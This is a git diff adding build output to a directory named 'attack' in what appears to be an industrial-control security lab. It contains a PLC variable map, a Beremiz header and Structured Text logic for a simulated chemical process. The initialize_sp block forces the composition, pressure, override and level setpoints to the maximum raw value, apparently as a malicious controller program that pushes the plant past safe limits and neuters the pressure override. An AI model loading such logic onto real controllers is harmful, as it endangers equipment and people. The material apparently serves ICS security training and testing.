+388;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;REAL; +389;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;REAL; +390;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;REAL; +391;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +392;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +393;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +394;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +395;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +396;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +397;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +398;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +399;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +400;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +401;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +402;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +403;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +404;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +405;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +406;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +407;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +408;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +409;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +410;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +411;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +412;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +413;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +414;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +415;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +416;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +417;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +418;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +419;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +420;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +421;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;REAL; +422;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;REAL; +423;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;REAL; +424;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;REAL; +425;EXT;CONFIG0.RES0.INSTANCE0.RUN_BIT;CONFIG0.RES0.INSTANCE0.RUN_BIT;BOOL; +426;VAR;CONFIG0.RES0.INSTANCE0.RUN_BIT0;CONFIG0.RES0.INSTANCE0.RUN_BIT0;BOOL; +427;FB;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;INITIALIZE_SP; +428;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;BOOL; +429;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;BOOL; +430;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;UINT; +431;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;UINT; +432;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;UINT; +433;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;UINT; +434;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;UINT; +435;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;UINT; +436;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;UINT; +437;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;UINT; +438;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;UINT; +439;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;UINT; +440;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;UINT; +441;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;UINT; +442;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;UINT; +443;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;UINT; +444;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;UINT; +445;VAR;CONFIG0.RES0.INSTANCE0.ADD87_OUT;CONFIG0.RES0.INSTANCE0.ADD87_OUT;UINT; +446;VAR;CONFIG0.RES0.INSTANCE0.GE91_OUT;CONFIG0.RES0.INSTANCE0.GE91_OUT;BOOL; +447;VAR;CONFIG0.RES0.INSTANCE0.MOVE92_ENO;CONFIG0.RES0.INSTANCE0.MOVE92_ENO;BOOL; +448;VAR;CONFIG0.RES0.INSTANCE0.MOVE92_OUT;CONFIG0.RES0.INSTANCE0.MOVE92_OUT;UINT; + + +// Ticktime +50000000 diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so b/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so new file mode 100755 index 0000000..584c89c --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h new file mode 100644 index 0000000..dd65176 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h @@ -0,0 +1,30 @@ +#ifndef _BEREMIZ_H_ +#define _BEREMIZ_H_ + +/* Beremiz' header file for use by extensions */ + +#include "iec_types.h" + +#define LOG_LEVELS 4 +#define LOG_CRITICAL 0 +#define LOG_WARNING 1 +#define LOG_INFO 2 +#define LOG_DEBUG 3 + +extern unsigned long long common_ticktime__; + +#ifdef TARGET_LOGGING_DISABLE +static inline int LogMessage(uint8_t level, char* buf, uint32_t size) +{ + (void)level; + (void)buf; + (void)size; + return 0; +} +#else +int LogMessage(uint8_t level, char* buf, uint32_t size); +#endif + +long AtomicCompareExchange(long* atomicvar,long compared, long exchange); + +#endif diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st b/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st new file mode 100644 index 0000000..e39c5bd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st @@ -0,0 +1,518 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit AT %QX0.0 : BOOL; + END_VAR + 